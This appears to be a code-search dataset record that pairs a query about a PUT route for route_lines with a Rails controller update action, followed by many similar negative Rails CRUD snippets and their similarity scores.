"def create\n @search_line = SearchLine.new(search_line_params)\n\n respond_to do |format|\n if @search_line.save\n format.html { redirect_to @search_line, notice: 'Search line was successfully created.' }\n format.json { render :show, status: :created, location: @search_line }\n else\n format.html { render :new }\n format.json { render json: @search_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @route_point = RoutePoint.new(params[:route_point])\n\n respond_to do |format|\n if @route_point.save\n format.html { redirect_to(@route_point, :notice => 'Route point was successfully created.') }\n format.xml { render :xml => @route_point, :status => :created, :location => @route_point }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @route_point.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @payment = Payment.find(params[:payment_id])\n @payment_line = @payment.payment_lines.build(params[:payment_line])\n\n respond_to do |format|\n if @payment_line.save\n format.html { redirect_to([@payment_line.payment, @payment_line], :notice => 'Payment line was successfully created.') }\n format.json { render :json => @payment_line, :status => :created, :location => [@payment_line.payment, @payment_line] }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @payment_line.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @journal_line = JournalLine.new(params[:journal_line])\n\n respond_to do |format|\n if @journal_line.save\n flash[:notice] = 'JournalLine was successfully created.'\n format.html { redirect_to(@journal_line) }\n format.xml { render :xml => @journal_line, :status => :created, :location => @journal_line }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @journal_line.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def post_route(payload)\n with_rescue do\n payload = payload.to_json if payload.is_a?(Hash)\n connection.post do |request|\n request.url routes_path\n request.body = payload\n request.headers['Content-Type'] = 'application/json'\n end\n end\n end",
"def line_detail_params\n params.require(:line_detail).permit(:title, :description, :line_id, :country_id)\n end",
"def create\n destination = Destination.find(params[:destination_id])\n @line_destination = @plan.add_destination(destination.id)\n\n respond_to do |format|\n if @line_destination.save\n format.html { redirect_to @line_destination.plan, notice: 'Line destination was successfully created.' }\n format.json { render :show, status: :created, location: @line_destination }\n else\n format.html { render :new }\n format.json { render json: @line_destination.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @breadcrumb = 'create'\n @reading_route = ReadingRoute.new(params[:reading_route])\n @reading_route.created_by = current_user.id if !current_user.nil?\n set_projects_offices\n\n respond_to do |format|\n if @reading_route.save\n format.html { redirect_to @reading_route, notice: t('activerecord.attributes.reading_route.create') }\n format.json { render json: @reading_route, status: :created, location: @reading_route }\n else\n format.html { render action: \"new\" }\n format.json { render json: @reading_route.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @sample_line = SampleLine.new(params[:sample_line])\n\n respond_to do |format|\n if @sample_line.save\n format.html { redirect_to @sample_line, notice: 'Sample line was successfully created.' }\n format.json { render json: @sample_line, status: :created, location: @sample_line }\n else\n format.html { render action: \"new\" }\n format.json { render json: @sample_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @line_station = LineStation.new(params[:line_station])\n\n respond_to do |format|\n if @line_station.save\n format.html { redirect_to @line_station, notice: 'Line station was successfully created.' }\n format.json { render json: @line_station, status: :created, location: @line_station }\n else\n format.html { render action: \"new\" }\n format.json { render json: @line_station.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @report_line = ReportLine.new(params[:report_line])\n\n respond_to do |format|\n if @report_line.save\n flash[:notice] = 'ReportLine was successfully created.'\n format.html { redirect_to(@report_line) }\n format.xml { render :xml => @report_line, :status => :created, :location => @report_line }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @report_line.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @line_up = LineUp.new(line_up_params)\n\n respond_to do |format|\n if @line_up.save\n format.html { redirect_to @line_up, notice: 'Line up was successfully created.' }\n format.json { render :show, status: :created, location: @line_up }\n else\n format.html { render :new }\n format.json { render json: @line_up.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @route = Route.new(route_params)\n\n respond_to do |format|\n if @route.save\n format.html { redirect_to @route, notice: 'Route was successfully created.' }\n format.json { render action: 'show', status: :created, location: @route }\n else\n format.html { render action: 'new' }\n format.json { render json: @route.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @route = Route.new(route_params)\n\n respond_to do |format|\n if @route.save\n format.html { redirect_to @route, notice: 'Route was successfully created.' }\n format.json { render action: 'show', status: :created, location: @route }\n else\n format.html { render action: 'new' }\n format.json { render json: @route.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @esseline = Esseline.new(esseline_params)\n\n respond_to do |format|\n if @esseline.save\n format.html { redirect_to @esseline, notice: 'Esseline was successfully created.' }\n format.json { render :show, status: :created, location: @esseline }\n else\n format.html { render :new }\n format.json { render json: @esseline.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @translated_line = TranslatedLine.new(translated_line_params)\n\n respond_to do |format|\n if @translated_line.save\n @translated_lines = TranslatedLine.where(translation_code: @translated_line.translation_code)\n format.html { redirect_to @translated_line, notice: 'Translated line was successfully created.' }\n format.js {}\n format.json { render :show, status: :created, location: @translated_line }\n else\n format.html { render :new }\n format.js {}\n format.json { render json: @translated_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @purchase_order_item_line = PurchaseOrderItemLine.new(params[:purchase_order_item_line])\n\n respond_to do |format|\n if @purchase_order_item_line.save\n format.html { redirect_to @purchase_order_item_line, notice: 'Purchase order item line was successfully created.' }\n format.json { render json: @purchase_order_item_line, status: :created, location: @purchase_order_item_line }\n else\n format.html { render action: \"new\" }\n format.json { render json: @purchase_order_item_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @match_form_lineitem = MatchFormLineitem.new(match_form_lineitem_params)\n\n respond_to do |format|\n if @match_form_lineitem.save\n format.html { redirect_to @match_form_lineitem, notice: 'Match form lineitem was successfully created.' }\n format.json { render :show, status: :created, location: @match_form_lineitem }\n else\n format.html { render :new }\n format.json { render json: @match_form_lineitem.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @shipping_line = ShippingLine.new(shipping_line_params)\n\n respond_to do |format|\n if @shipping_line.save\n format.html { redirect_to @shipping_line, notice: \"Shipping line was successfully created.\" }\n format.json { render :show, status: :created, location: @shipping_line }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @shipping_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @line = Line.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line }\n end\n end",
"def route_params\n params.require(:route).permit(:from_id, :to_id, :calculation_basis, :distance, :status)\n end",
"def index\n @lineas = Linea.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @lineas }\n end\n end",
"def create\n @invent_journal_line = InventJournalLine.new(params[:invent_journal_line])\n\n respond_to do |format|\n if @invent_journal_line.save\n format.html { redirect_to @invent_journal_line, notice: 'Invent journal line was successfully created.' }\n format.json { render json: @invent_journal_line, status: :created, location: @invent_journal_line }\n else\n format.html { render action: \"new\" }\n format.json { render json: @invent_journal_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def save_lines\n detail_lines.save_line \n end",
"def create\n @lineup = Lineup.new(params[:lineup])\n\n respond_to do |format|\n if @lineup.save\n format.html { redirect_to @lineup, notice: 'Lineup was successfully created.' }\n format.json { render json: @lineup, status: :created, location: @lineup }\n else\n format.html { render action: \"new\" }\n format.json { render json: @lineup.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n parent_line_item = get_parent_line_item\n if parent_line_item\n @line_item = parent_line_item.dup\n @line_item.line_item = parent_line_item\n @line_item.searchable = false\n @line_item.admin_verified = false\n @line_item.section_id = line_item_params[\"section_id\"]\n else\n @line_item = LineItem.new(line_item_params);\n end\n\n if @line_item.save\n render json: @line_item, status: :created, location: @line_item\n else\n render nothing: true, status: :bad_request\n end\n end",
"def create\n @train_route = TrainRoute.new(train_route_params)\n \n respond_to do |format|\n if @train_route.save\n format.html { redirect_to @train_route, notice: 'TrainRoute was successfully created.' }\n format.json { render :show, status: :created, location: @train_route }\n else\n format.html { render :new }\n format.json { render json: @train_route.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @route = Route.new(route_params)\n\n respond_to do |format|\n if @route.save\n format.html { redirect_to admin_route_url(@route), notice: 'Route was successfully created.' }\n format.json { render :show, status: :created, location: admin_route_url(@route) }\n else\n format.html { render :new }\n format.json { render json: @route.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @route = Route.new(route_params)\n @route.save\n\n redirect_to '/routes/map/'+@route.map_id.to_s\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @line_item }\n end\n end",
"def create\n @line_item = LineItem.new(params[:line_item])\n @line_item.price = @line_item.catalog_item.unit_price\n \n respond_to do |format|\n if @line_item.save\n \n flash[:notice] = 'LineItem was successfully created.'\n format.html { redirect_to(@line_item) }\n format.xml { render :xml => @line_item, :status => :created, :location => @line_item }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @line_item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n\t\t@route = Route.new(params[:route].merge(:user=>current_user))\n\t\t@route.geocode\n\t\t\n\t\trespond_to do |format|\n\t\t\tif @route.save\n\t\t\t\tformat.html { redirect_to(@route, :notice => 'Route was successfully created.') }\n\t\t\t\tformat.xml { render :xml => @route, :status => :created, :location => @route }\n\t\t\telse\n\t\t\t\tformat.html { render :action => \"new\" }\n\t\t\t\tformat.xml { render :xml => @route.errors, :status => :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def lineitem_params\n params.require(:lineitem).permit(:line_part, :line_order, :line_name, :line_price, :line_notes)\n end",
"def create\n @route = Route.new(params[:route])\n @route.user_id = current_user.id\n @route.active = true\n \n respond_to do |format|\n if @route.save\n format.html { redirect_to @route, notice: 'Route was successfully created.' }\n format.json { render json: @route, status: :created, location: @route }\n else\n format.html { render action: \"new\" }\n format.json { render json: @route.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @weekline = Weekline.new(params[:weekline])\n\n respond_to do |format|\n if @weekline.save\n format.html { redirect_to @weekline, notice: 'Weekline was successfully created.' }\n format.json { render json: @weekline, status: :created, location: @weekline }\n else\n format.html { render action: \"new\" }\n format.json { render json: @weekline.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n # @route = Route.new(params[:route])\n \n waypoints = params[:waypoints]\n creator = params[:creator]\n updated_at = params[:updated_at]\n name = params[:name]\n\n @route = Route.new(waypoints: waypoints, creator: creator, updated_at: updated_at, name: name)\n \n @route.save\n\n render json: @route\n\n # @vote_creator = VoteCreator.new(vote_params)\n # @vote = @vote_creator.vote\n # if @vote_creator.save\n # render json: @vote, status: :created, location: @vote\n # else\n # render json: @vote.errors, status: :unprocessable_entity\n # end\n end",
"def line_params\n params.require(:line).permit(:user_id, :verb_id, :start_time, \n :note, :object, :people, :photo, :place, :price, :url)\n end",
"def create\n @invoice_line_item = InvoiceLineItem.new(params.require(:invoice_line_item).permit(:amount, :description, :invoice_id, :line_item_purpose_id, :service_visit_id, :vehicle_id))\n\n respond_to do |format|\n if @invoice_line_item.save\n format.html { redirect_to invoice_line_items_url,\n notice: 'InvoiceLineItem was successfully created.' }\n format.json { render json: @invoice_line_item, status: :created, location: @invoice_line_item }\n else\n prepFormVariables\n format.html { render action: \"new\" }\n format.json { render json: @invoice_line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @newsline = Newsline.new(newsline_params)\n\n respond_to do |format|\n if @newsline.save\n format.html { redirect_to @newsline, notice: 'Newsline was successfully created.' }\n format.json { render :show, status: :created, location: @newsline }\n else\n format.html { render :new }\n format.json { render json: @newsline.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @product_line = ProductLine.new(params[:product_line])\n\n respond_to do |format|\n if @product_line.save\n format.html { redirect_to @product_line, notice: 'Product line was successfully created.' }\n format.json { render json: @product_line, status: :created, location: @product_line }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @rails_route = RailsRoute.new(rails_route_params)\n\n respond_to do |format|\n if @rails_route.save\n format.html { redirect_to @rails_route, notice: 'Rails route was successfully created.' }\n format.json { render :show, status: :created, location: @rails_route }\n else\n format.html { render :new }\n format.json { render json: @rails_route.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @airline = Airline.new(params[:airline])\n\n respond_to do |format|\n if @airline.save\n format.html { redirect_to(@airline, :notice => 'Travel form was successfully created.') }\n format.xml { render :xml => @airline, :status => :created, :location => @airline }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @airline.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update_xml\n self.xml= dumpRouteAsXml\n self.save\n end"
] |
[
"0.6794016",
"0.62879074",
"0.60445315",
"0.60086155",
"0.5927529",
"0.5893402",
"0.5819869",
"0.5786194",
"0.576726",
"0.57605153",
"0.57406336",
"0.5728971",
"0.57221913",
"0.5695683",
"0.5691606",
"0.5689479",
"0.5686326",
"0.56781805",
"0.56763124",
"0.5656182",
"0.5647342",
"0.56282383",
"0.56152487",
"0.5581599",
"0.55760837",
"0.55200434",
"0.5508583",
"0.549928",
"0.54928726",
"0.54913116",
"0.54596674",
"0.5442134",
"0.54098654",
"0.5400922",
"0.5397481",
"0.5380077",
"0.536621",
"0.5363894",
"0.53597265",
"0.5354799",
"0.5342446",
"0.53156155",
"0.53110605",
"0.53071606",
"0.5300178",
"0.52969086",
"0.5292091",
"0.52890366",
"0.5280855",
"0.5271417",
"0.5257624",
"0.5256489",
"0.52552354",
"0.5239166",
"0.52293295",
"0.52263194",
"0.52247006",
"0.52244586",
"0.5224144",
"0.52211344",
"0.5217287",
"0.5208173",
"0.5207457",
"0.52036667",
"0.51984185",
"0.51982963",
"0.51952386",
"0.5175932",
"0.5175485",
"0.5171593",
"0.5171593",
"0.5168938",
"0.5153326",
"0.5146489",
"0.51451975",
"0.5123064",
"0.5121041",
"0.5120879",
"0.5115143",
"0.51112306",
"0.51070267",
"0.5105406",
"0.5104475",
"0.5102075",
"0.5099733",
"0.50954205",
"0.5093791",
"0.5093725",
"0.50934744",
"0.5090913",
"0.5089761",
"0.50873524",
"0.50837386",
"0.5080116",
"0.50532544",
"0.50481915",
"0.5041794",
"0.5041138",
"0.50368917",
"0.5031289"
] |
0.7107329
|
0
|
PUT /route_lines/1 PUT /route_lines/1.xml
|
def update
@route_line = RouteLine.find(params[:id])
respond_to do |format|
if @route_line.update_attributes(params[:route_line])
format.html { redirect_to(@route_line, :notice => t('record_updated')) }
format.xml { head :ok }
else
format.html { render :action => "edit" }
format.xml { render :xml => @route_line.errors, :status => :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update_xml\n self.xml= dumpRouteAsXml\n self.save\n end",
"def update\n @line = Line.find(params[:id])\n\n respond_to do |format|\n if @line.update_attributes(params[:line])\n format.html { redirect_to(@line, :notice => 'Line was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @line.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @route_line = RouteLine.new(params[:route_line])\n\n respond_to do |format|\n if @route_line.save\n format.html { redirect_to(@route_line, :notice => t('record_created')) }\n format.xml { render :xml => @route_line, :status => :created, :location => @route_line }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @route_line.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @line = Line.find(params[:id])\n\n respond_to do |format|\n if @line.update_attributes(line_params)\n format.html { redirect_to new_line_path, notice: 'Line was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render verb: \"edit\" }\n format.json { render json: @line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @linea = Linea.find(params[:id])\n\n respond_to do |format|\n if @linea.update_attributes(params[:linea])\n format.html { redirect_to(@linea, :notice => 'Linea actualizada correctamente.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @linea.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @route = Route.find(params[:id])\n\n respond_to do |format|\n if @route.update_attributes(params[:route])\n flash[:notice] = 'Route was successfully updated.'\n format.html { redirect_to routes_path }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @route.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n if @line_item.update_attributes(params[:line_item])\n format.html { redirect_to(@line_item, :notice => 'Line item was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @line_item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n if @line_item.update_attributes(params[:line_item])\n format.html { redirect_to(@line_item, :notice => 'Line item was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @line_item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @route_point = RoutePoint.find(params[:id])\n\n respond_to do |format|\n if @route_point.update_attributes(params[:route_point])\n format.html { redirect_to(@route_point, :notice => 'Route point was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @route_point.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @line = Line.find_by_no(params[:id])\n\n respond_to do |format|\n if @line.update_attributes(params[:line])\n format.html { redirect_to @line, notice: 'Line was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n @route_line = RouteLine.find(params[:id])\n @route_line.destroy\n\n respond_to do |format|\n format.html { redirect_to(route_lines_url) }\n format.xml { head :ok }\n end\n end",
"def update\r\n @lineitem = Lineitem.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @lineitem.update_attributes(params[:lineitem])\r\n flash[:notice] = 'Lineitem was successfully updated.'\r\n format.html { redirect_to(@lineitem) }\r\n format.xml { head :ok }\r\n else\r\n format.html { render :action => \"edit\" }\r\n format.xml { render :xml => @lineitem.errors, :status => :unprocessable_entity }\r\n end\r\n end\r\n end",
"def update\n @route = Route.find(params[:id])\n\n respond_to do |format|\n if @route.update_attributes(params[:route])\n # UserMailer.welcome_email(@user).deliver\n format.html { redirect_to(@route, :notice => 'Route was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @route.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @tagline = Tagline.find(params[:id])\n\n respond_to do |format|\n if @tagline.update_attributes(params[:tagline])\n flash[:notice] = 'Tagline was successfully updated.'\n format.html { redirect_to(@tagline) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @tagline.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @line.update(line_params)\n format.html { redirect_to @line, notice: \"Line was successfully updated.\" }\n format.json { render :show, status: :ok, location: @line }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @flightline = Flightline.find(params[:id])\n\n respond_to do |format|\n if @flightline.update_attributes(params[:flightline])\n format.html { redirect_to(@flightline, :notice => 'Flightline was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @flightline.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @route = Route.find(params[:id])\n\n respond_to do |format|\n if @route.update_attributes(params[:route])\n format.html { redirect_to @route, notice: 'Route was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @route.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @route = Route.find(params[:id])\n\n respond_to do |format|\n if @route.update_attributes(params[:route])\n format.html { redirect_to @route, notice: 'Route was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @route.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @route.set_processed\n respond_to do |format|\n if @route.update(route_params)\n format.html { redirect_to new_routes_path, notice: 'Die Route wurde aktualisiert und aktiv gesetzt' }\n format.json { render :show, status: :ok, location: @route }\n else\n format.html { render :edit }\n format.json { render json: @route.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @line_item1 = LineItem1.find(params[:id])\n\n respond_to do |format|\n if @line_item1.update_attributes(params[:line_item1])\n format.html { redirect_to @line_item1, :notice => 'Line item1 was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @line_item1.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @order_line = OrderLine.find(params[:id])\n\n respond_to do |format|\n if @order_line.update_attributes(params[:order_line])\n format.html { redirect_to @order_line, notice: 'Order line was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @line.update(line_params)\n format.html { redirect_to attachment_line_list_path(@line.attachment), notice: 'Line was successfully updated.' }\n else\n format.html { render :edit }\n end\n end\n end",
"def update\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n if @line_item.update_attributes(params[:line_item])\n format.html { redirect_to @line_item, :notice => 'Line item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @line_item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @transport_line = TransportLine.find(params[:id])\n\n respond_to do |format|\n if @transport_line.update_attributes(params[:transport_line])\n flash[:notice] = 'TransportLine was successfully updated.'\n format.html { redirect_to(@transport_line) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @transport_line.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n if @line_item.update_attributes(params[:line_item])\n format.html { redirect_to @line_item, notice: 'Line item was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n if @line_item.update_attributes(params[:line_item])\n format.html { redirect_to @line_item, notice: 'Line item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n if @line_item.update_attributes(params[:line_item])\n format.html { redirect_to @line_item, notice: 'Line item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n if @line_item.update_attributes(params[:line_item])\n format.html { redirect_to @line_item, notice: 'Line item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n if @line_item.update_attributes(params[:line_item])\n format.html { redirect_to @line_item, notice: 'Line item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n if @line_item.update_attributes(params[:line_item])\n format.html { redirect_to @line_item, notice: 'Line item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\t\t@route = Route.find(params[:id])\n\n\t\trespond_to do |format|\n\t\t\tif @route.update_attributes(params[:route])\n\t\t\t\tformat.html { redirect_to(@route, :notice => 'Route was successfully updated.') }\n\t\t\t\tformat.xml { head :ok }\n\t\t\telse\n\t\t\t\tformat.html { render :action => \"edit\" }\n\t\t\t\tformat.xml { render :xml => @route.errors, :status => :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def set_line\r\n @line = Line.find_by_id(params[:id])\r\n end",
"def update\n respond_to do |format|\n @route.attributes = route_params\n @route.validate\n if (@route.errors.keys - [:start_station_id, :end_station_id]).size == 0\n @route.save(validate: false)\n end\n if @route.save\n format.html { redirect_to @route, notice: 'Маршрут обновлён.' }\n format.json { render :show, status: :ok, location: @route }\n else\n format.html { render :edit }\n format.json { render json: @route.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @lineitem = Lineitem.find(params[:id])\n\n respond_to do |format|\n if @lineitem.update_attributes(params[:lineitem])\n format.html { redirect_to @lineitem, notice: 'Lineitem was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @lineitem.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_line\n @line = Line.find(params[:id])\n end",
"def set_line\n @line = Line.find(params[:id])\n end",
"def set_line\n @line = Line.find(params[:id])\n end",
"def post_route(route, message)\n raise TypeError unless route.is_a? Route\n @changeset = @api.create_changeset(message, tags={'created_by'=>'ITCR'})\n ways_list = []\n nodes_list = create_node_list(route.path)\n\n until nodes_list.empty? # For node's maximum limit of a way\n way_nodes = nodes_list.take(MAX_NODES)\n nodes_list = nodes_list.drop(MAX_NODES)\n way_id = create_way(way_nodes)\n ways_list << way_id\n end\n\n relation = create_relation(ways_list) # Link ways to relation\n relation = add_stops(relation, route.stops) # Add bus stops to relation\n\n @api.save(relation, @changeset) # Save relation using the API\n puts 'Relation created succesfuly.'\n @api.close_changeset(@changeset)\n @changeset.id\n end",
"def update\n respond_to do |format|\n if @line_liver.update(line_liver_params)\n format.html { redirect_to @line_liver, notice: 'Line liver was successfully updated.' }\n format.json { render :show, status: :ok, location: @line_liver }\n else\n format.html { render :edit }\n format.json { render json: @line_liver.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @item_line = ItemLine.find(params[:id])\n\n respond_to do |format|\n if @item_line.update_attributes(params[:item_line])\n format.html { redirect_to @item_line, notice: 'Item line was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @so_header = SoHeader.find(params[:so_header_id])\n @so_line = @so_header.so_lines.find(params[:id])\n\n respond_to do |format|\n if @so_line.update_attributes(params[:so_line])\n format.html { redirect_to(new_so_header_so_line_path(@so_header), :notice => 'So line was successfully updated.') }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @so_line.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @route = Route.find(params[:id])\n if user_signed_in?\n routeInfo = JSON.parse(params[:route_map_points].gsub(\"jb\",\"latitude\").gsub(\"kb\",\"longitude\"))\n \n \n @route.route_points = routeInfo['overview_path']\n @route.starting_point = routeInfo['overview_path'].first\n @route.end_point = routeInfo['overview_path'].last\n\n\n respond_to do |format|\n if @route.save(params[:route])\n if @route.schedule.update_attributes(\n departure: params[:route_schedule_departure], \n arrival: params[:route_schedule_arrival]) \n format.html { redirect_to @route, notice: 'Route was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @route.errors, status: :unprocessable_entity }\n end\n end\n end\nend\n # DELETE /routes/1\n # DELETE /routes/1.json\n def destroy\n @route = Route.find(params[:id])\n @route.destroy\n\n respond_to do |format|\n format.html { redirect_to routes_url }\n format.json { head :no_content }\n end\n end\nend",
"def show\n @route_line = RouteLine.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @route_line }\n end\n end",
"def new\n @route_line = RouteLine.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @route_line }\n end\n end",
"def update\n @completed_route = CompletedRoute.find(params[:id])\n\n respond_to do |format|\n if @completed_route.update_attributes(params[:completed_route])\n format.html { redirect_to(@completed_route, :notice => 'Completed route was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @completed_route.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @storyline = Storyline.find(params[:id])\n @rest_ids = @storyline.id.to_s\n @start_id = params[:start_id]\n prev_id = params[:storyline][:prev]\n next_id = params[:storyline][:next]\n \n puts prev_id\n puts next_id\n puts params.inspect\n \n # Decide if user can edit the current line - only happens if no user owns the line or belongs to the current user\n # Else, one can only create new lines\n user_can_edit = (@storyline.user == nil || @storyline.user == @current_user)\n \n lines = TactfulTokenizer::Model.new.tokenize_text(params[:storyline][:line])\n \n # Perform a simple update if still only 1 sentence, and edit distance is small\n if lines.size == 1 and user_can_edit and Amatch::PairDistance.new(@storyline.line).match(lines[0]) > 0.8\n @storyline.update_attributes(params[:storyline])\n else\n @rest_ids = \"\"\n prev_line = Storyline.exists?(prev_id) ? Storyline.find(prev_id) : nil\n next_line = Storyline.exists?(next_id) ? Storyline.find(next_id) : nil\n # If first line matches, update it, then insert new path after that\n # Elif last line matches, update it, then insert new path before that\n ol = Amatch::PairDistance.new(@storyline.line)\n if user_can_edit\n if ol.match(lines[0]) > 0.8\n @storyline.update_attribute :line, lines.shift\n prev_line = @storyline\n @rest_ids = @storyline.id.to_s + \",\"\n elsif ol.match(lines[-1]) > 0.8\n @storyline.update_attribute :line, lines.pop\n next_line = @storyline\n end\n end\n \n if lines.size >= 1\n ## @storyline.update_attribute :line, 